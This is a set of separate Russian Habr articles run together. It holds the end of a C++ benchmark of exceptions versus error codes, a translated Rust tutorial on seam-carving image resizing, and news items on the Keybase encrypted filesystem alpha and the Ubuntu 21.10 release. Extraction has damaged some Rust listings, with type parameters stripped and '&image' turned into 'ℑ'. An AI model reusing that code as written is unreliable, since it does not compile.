Для проведения этого теста я написал XML-парсер. Я решил написать именно парсер, так как подобная программа может дать сбой во многих ситуациях и не зависит от подсистемы ввода/вывода. Эта программа, определённо, не рассчитана на соответствие стандартам, не гарантирован её отказ при встрече с любыми ошибками. Но она может разбирать обычные конфигурационные XML-файлы и должна завершать работу с ошибкой в большинстве случаев, когда файл синтаксически некорректен. Её код представлен низкоуровневыми конструкциями и должен быть достаточно быстрым (в районе 150 МиБ/с), но я его не оптимизировал и использовал STL-контейнеры для повышения удобства работы с ним (в противоположность применения «прямого» парсинга). Я написал эту программу с множеством проверок `#ifdef`, применяемых для переключения между вариантами программы, в которых используются исключения, коды ошибок и остановка при возникновении ошибки. Управление этим всем осуществляется с помощью аргументов компилятора. В результате различие между разными вариантами программы будет заключаться лишь в том, какой именно механизм обработки ошибок используется в конкретном варианте.
Я испытал производительность этой программы с использованием [XML-файла](https://gist.github.com/Dugy/5fee1b49777054d01f12e22ce9f986e5), имитирующего типичный конфигурационный файл какой-нибудь компьютерной игры. Он имеет размер 32 КиБ и полностью загружается в память перед началом испытания. Процедура парсинга файла повторяется 10000 раз, данные по длительности выполнения этой операции усредняются. Это повторяется 10 раз для того чтобы обеспечить погрешность измерений, не превышающую 1%.
Код скомпилирован с использованием GCC 9 на Ubuntu 20.04. В компьютере, на котором выполнялись измерения, установлен процессор Intel i7-9750H, его максимальная частота в однопоточном режиме составляет 4,5 ГГц. Я запускал все варианты теста один за другим, ничего не делая между запусками. Поступил я именно так для того чтобы добиться одинакового влияния на мои тесты использования кеша другими программами. Но даже при таком подходе в полученных мной данных были такие, которые сильно выбивались из общей картины. Я от них избавился.
Та версия программы, которая останавливалась при возникновении ошибки, была столь же быстрой, как та, в которой использовались исключения. А вот версия, в которой использовались коды ошибок, оказалась на 5% медленнее.
По каким-то причинам, в том случае, когда ошибки обрабатывались специальной функцией, которая выводит сведения об ошибке и завершает программу, это приводило к небольшому (примерно на 1%) падению производительности в сравнении с версией программы, в которой применяются исключения. Мне понадобилось использовать макрос для того чтобы сделать результаты подобных измерений сравнимыми со скоростью кода, использующего исключения. То же самое повторялось и в других тестах.
Тест №2: заполнение структур данных классов разобранными XML-данными
--------------------------------------------------------------------
Для этого теста я подготовил несколько классов, которые должны были представлять структуры XML-файла. Я написал код, в котором выполняется заполнение структур данных этих классов с использованием распарсенных XML-структур. Этот код был примерно в 10 раз быстрее, возможно из-за того, что тут было гораздо меньше операций динамического выделения памяти.
Различия в измерениях, выполненных для кода с исключениями и для кода без обработки ошибок, укладываются в допустимую погрешность измерений, но на выполнение кода с исключениями ушло на 0,6% больше времени. А вот вариант программы, в котором использовались коды ошибок, был на 4% медленнее. С похожим замедлением я сталкивался в тех случаях, когда забывал пользоваться семантикой перемещения.
Тест №3: чтение данных из бинарного потока и обработка сообщений разных типов
-----------------------------------------------------------------------------
Этот тест имитирует использование асинхронного API для чтения данных из TCP-сокета (вроде Boost Asio или Unix Sockets). Подобные API используются так: из потока читается некоторый объём данных, потом эти данные обрабатываются, а потом читается новая порция данных. Для повышения скорости работы программы и для того, чтобы в ходе теста приходилось бы передавать меньше информации, данные представлены в бинарном виде. Так как в играх сетевые данные передаются постоянно, ожидание конца потока нецелесообразно.
В моём «API» применяются сообщения трёх типов, указывающие на различные изменения в «игре». Эти сообщения имеют разную длину. Поэтому при обработке данных из потока нельзя точно узнать о том, всё ли сообщение было в нём передано. В результате функция, которая идентифицирует сообщения и вызывает соответствующий код для их парсинга, часто даёт сбои. Происходит это даже в том случае, когда система работает в штатном режиме. Это значит, что для обработки подобных ошибок исключения использовать нельзя. Другие ошибки обрабатываются с помощью исключений (в том варианте программы, где используются исключения). Это — появление сообщений, тип которых определить не удаётся, неверная идентификация объектов, необычно сильные изменения значений (это — либо последствия действий читеров, либо признак повреждения данных)
Для того чтобы на измерения не повлияла бы передача данных по сети, данные читаются из памяти. Данные генерируются с помощью [этого](https://gist.github.com/Dugy/d3d851ab4826cc3121fc00b79cb5124d) скрипта.
Результаты этого теста похожи на результаты предыдущих испытаний. Код, в котором для обработки использовались исключения, на 0,8% медленнее, чем код, который просто останавливается при возникновении ошибки. Это значение тоже находится в пределах допустимой погрешности измерений. А вот код, в котором применяются коды ошибок, оказался медленнее на 6%.
Результаты
----------
Результаты тестов сведены в следующую таблицу. За 100% приняты результаты тех вариантов кода, которые просто останавливаются при возникновении ошибки.
| | | | |
| --- | --- | --- | --- |
| **Тест** | **Остановка выполнения** | **Выброс** **исключения** | **Возврат кода ошибки** |
| Парсинг | 100% | 100% | 106,2% |
| Заполнение структур данных | 100% | 100,6% | 104,2% |
| Чтение сообщений | 100% | 100,8% | 106,2% |
Допустимая ошибка измерений составляла около 1%. Поэтому те версии кода, которые выбрасывают исключения, могут быть, на самом деле, не медленнее чем те, которые просто останавливаются при возникновении ошибки. Возможно, имеющаяся разница между ними иллюстрирует последствия неких «невидимых» решений компилятора вроде встраивания функций. А вот время, необходимое на выполнение кода, в котором используются коды ошибок, стабильно больше, чем время, необходимое на выполнение кода других вариантов программы.
Исходный код программы можно найти [здесь](https://gist.github.com/Dugy/2532c810bb232b8ff1603cfa679bdf28).
Обработка ошибок и чистый код
-----------------------------
Если исключение не обрабатывается в блоке — выполнение автоматически выходит из блока и продолжается до тех пор, пока не будет найден фрагмент кода, способный перехватить исключение. Другие способы обработки ошибок такого не поддерживают. Их применение требует написания дополнительной логики, направленной на обработку ошибки. Правда, почти во всех случаях адекватной реакцией на ошибку является отмена производимой программой операции (тест, в котором осуществляется чтение данных из потока, даёт нам пример ситуации, в котором это неприменимо). Это может сильно удлинить код даже в том случае, если вызываемая функция будет реагировать на любую ошибку возвратом в место вызова этой функции кода ошибки.
Вот — строка из сектора инициализации конструктора, использованного в тесте №2:
```
animation(*source.getChild("animation")),
```
Она осуществляет перенаправление дочернего XML-тега `animation` из её аргумента в конструктор члена класса `animation`. Конструктор может дать сбой из-за некорректного содержимого XML-тега. Сбой может дать функция `getChild`, что может случиться из-за отсутствия всего тега. Подобные ошибки прерывают создание структуры, они могут помешать и ещё каким-то процессам в коде, находящемся в блоке `catch`.
Если сведения об ошибках передаются через возвращаемые значения (или через выходные аргументы), то код будет выглядеть примерно так:
```
std::shared_ptr animationTag;
auto problem = source.getChild("animation", animationTag);
if (problem)
return problem;
problem = animation.fromTag(animationTag);
if (problem)
return problem;
```
Этот код, используя макросы, можно сократить (обычно лямбда-выражения могут заменить макросы, но не в этом случае):
```
std::shared_ptr animationTag;
PROPAGATE\_ERROR(source.getChild("animation", animationTag));
PROPAGATE\_ERROR(animation.fromTag(animationTag));
```
Но даже этот пример, где применяются макросы, скрывающие части, которые повторяются чаще всего, оказывается в три раза длиннее первого однострочного примера.
В дополнение к тому, что при таком подходе нужно больше кода, это снижает полезность идиомы RAII. Дело в том, что конструкторы не могут вернуть сведения о том, что они успешно отработали. Для этого нужна либо функция инициализации, либо специальные функции, возвращающие соответствующие данные в том случае, если работа конструктора завершилась успешно. Это ещё сильнее усложняет код.
У написания кода таким способом нет преимуществ. Увеличение длины программы усложняет логику. В коде появляются дополнительные объявления, выходные аргументы, макросы. Ошибку можно случайно проглядеть. Этот подход не даёт нормально пользоваться идиомой RAII. И код, в любом случае, из-за большого числа ранних возвратов, должен быть устойчив к исключениям.
Другие результаты
-----------------
В режиме отладки использование исключений заметно воздействует на производительность. Замедление составляет примерно 2%. Но это всё равно быстрее, чем вариант, в котором используются коды ошибок.
Добавление в код множества дополнительных (ненужных) блоков `try` тоже плохо сказывается на производительности. Возникает такое ощущение, что за снижение производительности версий тестов, в которых используется обработка исключений, ответственны именно блоки `try`. Но эксперименты это не подтвердили.
Отключение RTTI при использовании исключений не оказало заметного влияния на производительность блоков `try` (в этот раз объект исключения, который нужно было перехватить с помощь `catch(…)`, был недоступен, и сообщение об ошибке надо было сохранить в переменной `thread_local`).
Если же исключения, и правда, выбрасываются, то результаты уже сильно отличаются друг от друга. Обработка исключения занимает примерно 2 микросекунды на каждую функцию, из которой осуществляется выход. Это немного, но эквивалентно замедлению, вызываемому примерно десяти тысячам вызовов функций, в которых используются коды ошибок. В результате использование исключений неэффективно в том случае, если вероятность того, что они будут выброшены, по грубым оценкам, превышает 0,01%. Это не должно оказывать сильного воздействия на код, где используются исключения. Ведь цель разработчика заключается в том, чтобы обеспечить быстрое выполнение программ при их правильном использовании. Хотя программы должны завершаться корректно, нет нужды оптимизировать те их части, которые отвечают за обработку ошибок.
Использование исключений увеличивает размеры исполняемых файлов. Так, размер исполняемого файла тестовой программы, в котором используются исключения, составляет 74,5 КиБ. А файл, в котором исключения не используются, имеет размер 64 КиБ. Если ещё отключить RTTI, то размер файла уменьшается до 54,8 КиБ. Я не изучал вопрос о том, что именно вызывает подобные изменения, но уже само изменение размеров файла говорит о том, что при подготовке исполняемых файлов для встраиваемых платформ, ресурсы которых ограничены, может понадобиться отключить исключения.
Я, кроме того, проанализировал сгенерированный компилятором код с помощью [Compiler Explorer](https://godbolt.org). Включение исключений не меняет тела функций (то есть — не вносит в код дополнительного ветвления или дополнительных возвращаемых значений). Но функции оканчиваются блоком кода для обработки исключений, который обычно недостижим (блоки `try` тоже обычно входят в состав недостижимого кода). Этот код вызывает деструкторы и возвращает управление функции обработки исключений. Этот код, хотя он и не выполняется, занимает кеш (это похоже на ранний возврат из функции). Этот код не генерируется для функций, которые не выделяют память в стеке для чего-либо, использующего деструкторы, или для функций, помеченных как `noexcept`. В результате очень важный код, сильно влияющий на производительность, которому не нужно обрабатывать ошибки, можно оптимизировать с помощь `noexcept`. А если он использует что-то такое, что может выбросить исключение, оптимизировать его можно, избегая выделения памяти в стеке под объекты с деструкторами (но я не изучал вопроса о том, быстрее ли C++, используемый как «C с исключениями», чем C).
Итоги
-----
Ошибки удобнее всего обрабатывать с использованием исключений. Я протестировал воздействие разных механизмов обработки ошибок на реалистичных примерах. На 64-битных архитектурах включение использования исключений приводит к замедлению кода примерно на 1% в сравнении с кодом, который просто останавливается при возникновении ошибки. Коды ошибок, обычная альтернатива исключениям, используемая для обработки ошибок, после возникновения которых работу можно продолжить, снижают производительность примерно на 5%. В результате отключение обработки исключений в программах, рассчитанных на PC-архитектуры, не только вызывает неудобства, но и, вероятно, плохо влияет на производительность.
Как вы обрабатываете ошибки в своих C++-проектах?
[](https://ruvds.com/ru-rub/news/read/126?utm_source=habr&utm_medium=article&utm_campaign=perevod&utm_content=kung_fu_stilya_linux__sudo_i_povorot_dvux_klyuchej)
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=perevod&utm_content=kung_fu_stilya_linux__sudo_i_povorot_dvux_klyuchej#order) | https://habr.com/ru/post/533332/ | null | ru | null |
# Изменение размера изображения с учётом содержимого
Изменение размера изображения с учётом содержимого (Content Aware Image Resize), жидкое растяжение (liquid resizing), ретаргетинг (retargeting) или вырезание шва (seam carving) относятся к методу изменения размера изображения, где можно вставлять или удалять *швы*, или наименее важные пути, для уменьшения или наращивания изображения. Об этой идее я узнал из [ролика на YouTube](https://www.youtube.com/watch?v=qadw0BRKeMk), от Shai Avidan и Ariel Shamir.
В этой статье будет рассмотрена простая пробная реализация идеи изменения размера изображения с учётом содержимого, естественно на языке Rust.
Для подопытной картинки, я поискал по запросу[1](#fn:duckduck) `"sample image"`, и нашел её[2](#myfootnote2):
Создаём макет согласно нисходящему подходу
==========================================
Давайте начнем мозговой штурм. Думаю, наша библиотека может использоваться так:
```
/// caller.rs
let mut image = car::load_image(path);
// Зададим определенный размер?
image.resize_to(car::Dimensions::Absolute(800, 580));
// Удалим 20 строк?
image.resize_to(car::Dimensions::Relative(0, -20));
// Может покажем в окне?
car::show_image(ℑ);
// Или сохраним на диске?
image.save("resized.jpeg");
```
Самые важные функции в `lib.rs` могли бы быть такими:
```
/// lib.rs
pub fn load_image(path: Path) -> Image {
// Забудем пока об обработке ошибок :)
Image {
inner: some_image_lib::load(path).unwrap(),
}
}
impl Image {
pub fn resize_to(&mut self, dimens: Dimensions) {
// Сколько столбцов и строк вставить/удалить?
let (mut xs, mut ys) = self.size_diffs(dimens);
// При добавлении строк и столбцов,
// мы заинтересованы выбирать путь с наименьшим весом,
// не важно строка это или столбец.
while xs != 0 && ys != 0 {
let best_horizontal = image.best_horizontal_path();
let best_vertical = image.best_vertical_path();
// Вставляем путь с наибольшим счетом.
if best_horizontal.score < best_vertical.score {
self.handle_path(best_horizontal, &mut xs);
} else {
self.handle_path(best_vertical, &mut ys);
}
}
// Остальные в обоих направлениях.
while xs != 0 {
let path = image.best_horizontal_path();
self.handle_path(path, &mut xs);
}
while ys != 0 {
let path = image.best_vertical_path();
self.handle_path(path, &mut ys);
}
}
}
```
Это дает нам некоторое представление о том, как подходить к написанию системы. Нам нужно загрузить картинку, найти эти швы или пути, и обработать удаление такого пути из изображения. Кроме того, нам бы хотелось увидеть результат. Давайте сначала загрузим наше изображение. Мы уже знаем какой API использовать.
image
=====
Библиотека [`image`](https://crates.io/crates/image) от разработчиков “Piston” кажется подойдет, поэтому мы добавим в наш `Cargo.toml` запись: `image = "0.12"`. Быстрый поиск в документации это все, что требуется для того, чтобы написать функцию загрузки изображения:
```
struct Image {
inner: image::DynamicImage,
}
impl Image {
pub fn load_image(path: &Path) -> Image {
Image {
inner: image::open(path).unwrap()
}
}
}
```
Естественно следующим шагом необходимо узнать как получить значение градиента из
`image::DynamicImage`. Контейнер image не может этого сделать, но у контейнера [`imageproc`](https://crates.io/crates/imageproc) есть функция: `imageproc::gradients::sobel_gradients`. Однако нас поджидает небольшая проблема[3](#myfootnote3). Функция `sobel_gradient` принимает 8-битное изображение в градациях серого, и возвращает 16-битное изображение в градациях серого. Изображение, которое мы загрузили — это изображение RGB с 8 битами на канал. Так что придется разложить каналы на R, G и B, преобразовать каждый канал в отдельные изображения в оттенках серого и вычислить градиенты каждого из них. А затем объединить градиенты вместе в одно изображение, в котором мы и будем искать путь.
Это элегантно? Нет. Это будет работать? Возможно.
```
type GradientBuffer = image::ImageBuffer, Vec>;
impl Image {
pub fn load\_image(path: &Path) -> Image {
Image {
inner: image::open(path).unwrap()
}
}
fn gradient\_magnitude(&self) -> GradientBuffer {
// Мы предполагаем RGB
let (red, green, blue) = decompose(&self.inner);
let r\_grad = imageproc::gradients::sobel\_gradients(red.as\_luma8().unwrap());
let g\_grad = imageproc::gradients::sobel\_gradients(green.as\_luma8().unwrap());
let b\_grad = imageproc::gradients::sobel\_gradients(blue.as\_luma8().unwrap());
let (w, h) = r\_grad.dimensions();
let mut container = Vec::with\_capacity((w \* h) as usize);
for (r, g, b) in izip!(r\_grad.pixels(), g\_grad.pixels(), b\_grad.pixels()) {
container.push(r[0] + g[0] + b[0]);
}
image::ImageBuffer::from\_raw(w, h, container).unwrap()
}
}
fn decompose(image: ℑ::DynamicImage) -> (image::DynamicImage,
image::DynamicImage,
image::DynamicImage) {
let w = image.width();
let h = image.height();
let mut red = image::DynamicImage::new\_luma8(w, h);
let mut green = image::DynamicImage::new\_luma8(w, h);
let mut blue = image::DynamicImage::new\_luma8(w, h);
for (x, y, pixel) in image.pixels() {
let r = pixel[0];
let g = pixel[1];
let b = pixel[2];
red.put\_pixel(x, y, \*image::Rgba::from\_slice(&[r, r, r, 255]));
green.put\_pixel(x, y, \*image::Rgba::from\_slice(&[g, g, g, 255]));
blue.put\_pixel(x, y, \*image::Rgba::from\_slice(&[b, b, b, 255]));
}
(red, green, blue)
}
```
После запуска, `Image::gradient_magnitune` берёт наше изображение птицы и возвращает это:
Путь наименьшего сопротивления
==============================
Теперь мы должны реализовать, пожалуй, самую сложную часть программы: DP — алгоритм поиска пути наименьшего сопротивления. Давайте глянем как это будет работать. Для простоты понимания, мы будем рассматривать только случай с поиском вертикального пути. Представьте, что в таблице ниже это градиент изображения 6х6 пикселей.
Суть алгоритма состоит в поиске пути  от одной из верхних ячеек  в одну из нижних  так, чтобы минимизировать . Это может быть сделано путем создания новой таблицы S используя следующее рекуррентное соотношение (без учета границы):
То есть, каждая ячейка в таблице S это минимальная сумма от текущей ячейки до самой нижней ячейки. Каждая ячейка выбирает одну из трех соседних ячеек, расположенных строкой ниже, с наименьшим весом – это и будет следующей ячейкой пути. Когда мы завершили заполнение таблицы S, мы просто выбираем наименьшее число в самой верхней строке в качестве начальной ячейки.
Давайте найдем S:
И вот оно! Мы видим, что есть путь, с суммой всех ячеек пути равной 8, и то, что этот путь начинается в верхнем правом углу. Для того, чтобы найти путь, мы могли бы запомнить, в какую сторону мы пошли для каждой ячейки (влево, вниз или вправо), но нам это не нужно: мы просто выберем соседа снизу с наименьшим весом, потому что значения веса клеток в таблице S указывают на кратчайший путь от текущей ячейки к самой нижней. Также обратите внимание, что есть два пути, которые в сумме дают 8 (у этих путей различаются две нижние ячейки).
Реализация
==========
Так-как мы пишем лишь макет программы, дальше мы сделаем по-простому. Мы создадим структуру с нашей таблицей в виде массива и просто пройдемся по ней циклом `for` согласно алгоритму.
```
struct DPTable {
width: usize,
height: usize,
table: Vec,
}
impl DPTable {
fn from\_gradient\_buffer(gradient: &GradientBuffer) -> Self {
let dims = gradient.dimensions();
let w = dims.0 as usize;
let h = dims.1 as usize;
let mut table = DPTable {
width: w,
height: h,
table: vec![0; w \* h],
};
// Возвращает gradient[h][w], позволяет нам немного уменьшить количество кода
let get = |w, h| gradient.get\_pixel(w as u32, h as u32)[0];
// Инициализируем самую нижнюю строку
for i in 0..w {
let px = get(i, h - 1);
table.set(i, h - 1, px)
}
// Для каждой ячейки в строке J, выбрать меньшее из клетки в
// строке выше. Отдельные условия для начала и конца строки
for row in (0..h - 1).rev() {
for col in 1..w - 1 {
let l = table.get(col - 1, row + 1);
let m = table.get(col , row + 1);
let r = table.get(col + 1, row + 1);
table.set(col, row, get(col, row) + min(min(l, m), r));
}
// отдельные условия для крайней левой и крайней правой:
let left = get(0, row) + min(table.get(0, row + 1), table.get(1, row + 1));
table.set(0, row, left);
let right = get(0, row) + min(table.get(w - 1, row + 1), table.get(w - 2, row + 1));
table.set(w - 1, row, right);
}
table
}
}
```
После запуска, мы можем преобразовать таблицу `DPTable` обратно в `GradientBuffer`, и записать его в файл. Пиксели в изображении ниже — веса пути, разделенные на 128.
Эту картинку можно описать так: белые пиксели — это клетки, которые имеют наибольший вес. Градиент этих пикселей более детализирован, что говорит о высокой скорости изменений цвета (и именно эти участки картинки мы хотели бы сохранить).
Поскольку алгоритм поиска пути будет искать наименьшие веса, которые представлены здесь “более темными путями”, то алгоритм будет стараться избегать светлых пикселей. То есть белые участки картинки.
Поиск пути
==========
Теперь, когда у нас есть вся таблица, поиск лучшего пути не составит труда: это — просто поиск из верхнего ряда и создания вектора индексов, всегда выбирая самого маленького по весу соседа из нижней строки:
```
impl DPTable {
fn path_start_index(&self) -> usize {
// Поиск пути зашел слишком далеко?!
// поиск пути обладает следующей структурой.
self.table.iter()
.take(self.width)
.enumerate()
.map(|(i, n)| (n, i))
.min()
.map(|(_, i)| i)
.unwrap()
}
}
struct Path {
indices: Vec,
}
impl Path {
pub fn from\_dp\_table(table: &DPTable) -> Self {
let mut v = Vec::with\_capacity(table.height);
let mut col: usize = table.path\_start\_index();
v.push(col);
for row in 1..table.height {
// Самый левый, не имеет соседей слева.
if col == 0 {
let m = table.get(col, row);
let r = table.get(col + 1, row);
if m > r {
col += 1;
}
// Самый правый, не имеет соседей справа
} else if col == table.width - 1 {
let l = table.get(col - 1, row);
let m = table.get(col, row);
if l < m {
col -= 1;
}
} else {
let l = table.get(col - 1, row);
let m = table.get(col, row);
let r = table.get(col + 1, row);
let minimum = min(min(l, m), r);
if minimum == l {
col -= 1;
} else if minimum == r {
col += 1;
}
}
v.push(col + row \* table.width);
}
Path {
indices: v
}
}
}
```
Чтобы увидеть, что выбранные пути более-менее правдоподобны, я сгенерировал их
10 штук, и покрасил жёлтым:
По-моему, похоже на правду!
Удаление
========
Единственное, что осталось сейчас сделать — удалить пути, покрашенные жёлтым цветом. Так как мы просто хотим сделать что-то работающее, мы можем сделать это очень просто: возьмём сырые байты из нашей картинки, скопируем интервалы между индексами, которые мы хотим удалить, в новый массив и создадим из него новое изображение.
```
impl Image {
fn remove_path(&mut self, path: Path) {
let image_buffer = self.inner.to_rgb();
let (w, h) = image_buffer.dimensions();
let container = image_buffer.into_raw();
let mut new_pixels = vec![];
let mut path = path.indices.iter();
let mut i = 0;
while let Some(&index) = path.next() {
new_pixels.extend(&container[i..index * 3]);
i = (index + 1) * 3;
}
new_pixels.extend(&container[i..]);
let ib = image::ImageBuffer::from_raw(w - 1, h, new_pixels).unwrap();
self.inner = image::DynamicImage::ImageRgb8(ib);
}
}
```
Наконец настало время. Теперь мы можем удалить строку из изображения, или вызвать в цикле эту функцию и удалить, скажем, 200 строк:
```
let mut image = Image::load_image(path::Path::new("sample-image.jpg"));
for _ in 0..200 {
let grad = image.gradient_magnitude();
let table = DPTable::from_gradient_buffer(&grad);
let path = Path::from_dp_table(&table);
image.remove_path(path);
}
```
Однако, мы видим, что алгоритм удалил многовато с правой стороны изображения, хотя изображение более или менее уменьшено, это одна из проблем, которую надо устранить! Быстрое и немного грязное исправление, чтобы просто немного изменить градиент, путём явного задания границ на некоторое большое число, скажем 100.
Тадам!
Здесь немало косяков, что делает конечный результат немного менее удовлетворительным. Однако птичка почти не пострадала и великолепно выглядит (по-моему). Вы можете сказать, что мы уничтожили весь смысл композиции в процессе уменьшения изображения. На это я скажу… нуууу… так-то да.
Увижу — поверю
==============
Сохранять изображения в файл и смотреть на них это прикольно, но это не супер-крутое-изменение-размера-изображения-в-реальном-времени! Наконец, попробуем собрать всё воедино.
Во-первых, нам необходима возможность загружать, получать и изменять размер изображения за пределами контейнера. Мы постараемся сделать что-то вроде нашего первоначального плана:
```
extern crate content_aware_resize;
use content_aware_resize as car;
fn main() {
let mut image = car::load_image(path);
image.resize_to(car::Dimensions::Relative(-1, 0));
let data: &[u8] = image.get_image_data();
// Так или иначе выведем эти данные в окно
}
```
Мы начнем с простого, добавив самое необходимое и по возможности следуя коротким путем.
```
pub enum Dimensions {
Relative(isize, isize),
}
...
impl Image {
fn size_difference(&self, dims: Dimensions) -> (isize, isize) {
let (w, h) = self.inner.dimensions();
match dims {
Dimensions::Relative(x, y) => {
(w as isize + x, h as isize + x)
}
}
}
pub fn resize_to(&mut self, dimensions: Dimensions) {
let (mut xs, mut _ys) = self.size_difference(dimensions);
// Пока только горизонтальные изменение размеров
if xs < 0 { panic!("Only downsizing is supported.") }
if _ys != 0 { panic!("Only horizontal resizing is supported.") }
while xs > 0 {
let grad = self.gradient_magnitude();
let table = DPTable::from_gradient_buffer(&grad);
let path = Path::from_dp_table(&table);
self.remove_path(path);
xs -= 1;
}
}
pub fn get_image_data(&self) -> &[u8] {
self.inner.as_rgb8().unwrap()
}
}
```
Просто немного копипасты!
Теперь, возможно мы хотим окно изменяемого размера. Мы можем быстро накидать новый проект с использованием контейнера `sdl2`.
```
extern crate content_aware_resize;
extern crate sdl2;
use content_aware_resize as car;
use sdl2::rect::Rect;
use sdl2::event::{Event, WindowEvent};
use sdl2::keyboard::Keycode;
use std::path::Path;
fn main() {
// Загружаем картинку
let mut image = car::Image::load_image(Path::new("sample-image.jpeg"));
let (mut w, h) = image.dimmensions();
// Инициализируем sdl2 и создадим окно
let sdl_ctx = sdl2::init().unwrap();
let video = sdl_ctx.video().unwrap();
let window = video.window("Context Aware Resize", w, h)
.position_centered()
.opengl()
.resizable()
.build()
.unwrap();
let mut renderer = window.renderer().build().unwrap();
// Удобная функция обновления "текстуры" при изменении размера изображения
let update_texture = |renderer: &mut sdl2::render::Renderer, image: &car::Image| {
let (w, h) = image.dimmensions();
let pixel_format = sdl2::pixels::PixelFormatEnum::RGB24;
let mut tex = renderer.create_texture_static(pixel_format, w, h).unwrap();
let data = image.get_image_data();
let pitch = w * 3;
tex.update(None, data, pitch as usize).unwrap();
tex
};
let mut texture = update_texture(&mut renderer, ℑ);
let mut event_pump = sdl_ctx.event_pump().unwrap();
'running: loop {
for event in event_pump.poll_iter() {
// Обработка выхода и событий изменения размеров
match event {
Event::Quit {..}
| Event::KeyDown { keycode: Some(Keycode::Escape), .. } => { break 'running },
Event::Window {win_event: WindowEvent::Resized(new_w, _h), .. } => {
// Определим на сколько пикселей мы уменьшаем картинку,
// и на столько же уменьшим изображение
let x_diff = new_w as isize - w as isize;
if x_diff < 0 {
image.resize_to(car::Dimensions::Relative(x_diff, 0));
}
w = new_w as u32;
texture = update_texture(&mut renderer, ℑ);
},
_ => {}
}
}
// Очищаем, копируем и показываем.
renderer.clear();
renderer.copy(&texture, None, Some(Rect::new(0, 0, w, h))).unwrap();
renderer.present();
}
}
```
Вот и все. Один день работы, немного знаний по `sdl2`, `image`, и небольшой опыт написания постов в блоге.
Надеюсь, вам понравилось, хотя бы совсем немножко.
* [Репозиторий Git](https://www.github.com/martinhath/content-aware-resize)
* [Ветка /r/Rust](https://www.reddit.com/r/rust/comments/5ttzb4/implementing_content_aware_image_resizing/)
* [Ветка /r/Programming](https://www.reddit.com/r/programming/comments/5ttz9g/implementing_content_aware_image_resizing/)
* [HackerNews](https://news.ycombinator.com/item?id=13636706)
---
1. Почему-то, duckduck-коед не работает, и гугль тоже, если используется глагол.[[↑]](#top1)
2. <http://imgsv.imaging.nikon.com/lineup/lens/zoom/normalzoom/af-s_dx_18-140mmf_35-56g_ed_vr/img/sample/sample1_l.jpg> [[↑]](#ref2ret)
3. Мне интересно, есть ли более простой способ! Кроме того,
сохранение результата градиента походу нереально, потому-что функция возвращает
`ImageBuffer` поверх `u16`, в то время как `ImageBuffer::save` требует, чтобы
основные данные были в `u8`. Я также не мог разобраться, как создать
`DynamicImage` (у которого также есть `a::save` с более понятным интерфейсом)
от `ImageBuffer`, ведь это возможно. [[↑]](#ref3ret)
Примечание переводчика
======================
Благодарю все сообщество русскоязычных растаманов [ruRust](https://gitter.im/ruRust/general).
Выражаю отдельную благодарность:
* Сергею Веселкову (@vessd)
* Игорю (@Gordon-F)
* Михаилу Панкову (@mkpankov)
а так же:
* Шерзоду Муталову (@shmutalov)
* Андрею Лесникову (@ozkiff) за помощь в переводе и последующее ревью. | https://habr.com/ru/post/324284/ | null | ru | null |
# Шифрованная файловая система Keybase: первая альфа-версия
Разработчики файловой системы Keybase, наконец-то [выпустили первый релиз альфа-версии](https://keybase.io/introducing-the-keybase-filesystem), анонсированный ещё [в июле 2015 года](https://megamozg.ru/post/17526/). Keybase — это криптографически защищённое хранилище файлов.
Keybase поддерживает шифрование с открытым ключом на уровне файловой системы. Таким образом, криптография автоматически незаметно используется на всех уровнях работы в интернете: от файлообмена и чатов до верификации программного обеспечения и контроля модификации исходного кода. Возможно использование её для аутентификации на веб-сайтах, что может сделать ненужным как простую парольную защиту, так и двухфакторную авторизацию.
Итак, в альфа-версии KFMS при записи файлов в особую директорию
```
/keybase/public/yourname
```
Каждый файл автоматически шифруется, не нужно ничего делать вручную, применять `tar` или `gzip`. В то же время всё содержание директории демонстрируется на экране открытым текстом, туда можно перетянуть файлы мышкой.
Если вы знаете какого-то пользователя в социальной сети, то его личность (ключи) можно проверить следующей командой.
```
/keybase/public/malgorithms@hackernews/
/keybase/public/malgorithms@twitter/
/keybase/public/malgorithms@reddit/
/keybase/public/bitcoyne@coinbase/
```
В этой папке кроме открытых ключей SSH лежит ещё пару вещей, вроде «отпечатка пальца» для приложения Signal и нескольких программ, которые владелец решил выложить и распространять среди этой аудитории.
Файловая криптосистема с открытым ключом гарантирует, что пользователь при подключении к папке видит точно то, что хранится на диске. Исключается риск подмены данных на сервере или MiTM-атаки.
При попытке подключиться к папке пользователя через сервер keybase.io отображается такое всплывающее окно с визитной карточкой.
Больше информации — у одного из разработчиков в текстовом файле.
```
cat /keybase/public/chris/plan.txt
```
[keybase.pub/chris/plan.txt](https://keybase.pub/chris/plan.txt)
Для демонстрации запущен сайт [keybase.pub](https://keybase.pub/) со всем содержимым `/keybase/public`.
Миссия компании Keybase — сделать криптографию с открытым ключом доступной для всех пользователей в мире. Не нужно больше разбираться в протоколах. Всё работает автоматически на уровне файловой системы. Слишком долго криптография была уделом избранных элит в нишевых сообществах, пора распространить её на всех!
[Keybase для Windows](https://keybase.io/docs/the_app/install_windows)
[Keybase для OSX](https://keybase.io/docs/the_app/install_osx)
[Keybase для Linux](https://keybase.io/docs/the_app/install_linux)
[Исходный код](https://github.com/keybase/client)
[Документация](https://keybase.io/docs) | https://habr.com/ru/post/390071/ | null | ru | null |
# Вышла Ubuntu 21.10
Canonical [выпустила](https://ubuntu.com/blog/ubuntu-21-10-has-landed) версию [дистрибутива Ubuntu 21.10](https://habr.com/ru/news/t/580140/). Это последний промежуточный выпуск перед следующей версией Ubuntu с долгосрочной поддержкой (LTS), которая должна выйти в апреле 2022 года. Она будет поддерживаться по крайней мере до 2032 года.
Ubuntu 21.10 включает в себя новые PHP 8 и GCC 11, в том числе полную поддержку статического анализа, что значительно улучшает осведомленность разработчиков о безопасности при низкоуровневом программировании.
С Gnome 40 пользователи настольных ПК получают динамические рабочие пространства и управление сенсорной панелью. Обновление Firefox улучшает безопасность и гарантирует доступ как к последней, так и к расширенной версиям поддержки браузера.
Для разработчиков Windows встроили поддержку графических приложений в подсистеме для Linux (WSL), которая позволяет пользоваться настольными приложениями Ubuntu.
Образ OCI Ubuntu 21.10 доступен в Docker Hub и Amazon ECR Public Registry. Наряду с базовым он поддерживает набор образов приложений. Образы LTS Docker обеспечивают корпоративные обязательства по обновлениям безопасности.
Последние образы LTS Docker от Canonical включают Grafana, Prometheus и NGINX. Apache Cassandra v4 — это новое дополнение с парсингом в реальном времени, предупреждениями и улучшенной интеграцией с Prometheus. Squid, кэширующий прокси, и Bind9, полнофункциональная система DNS, также дополнили LTS Docker Images.
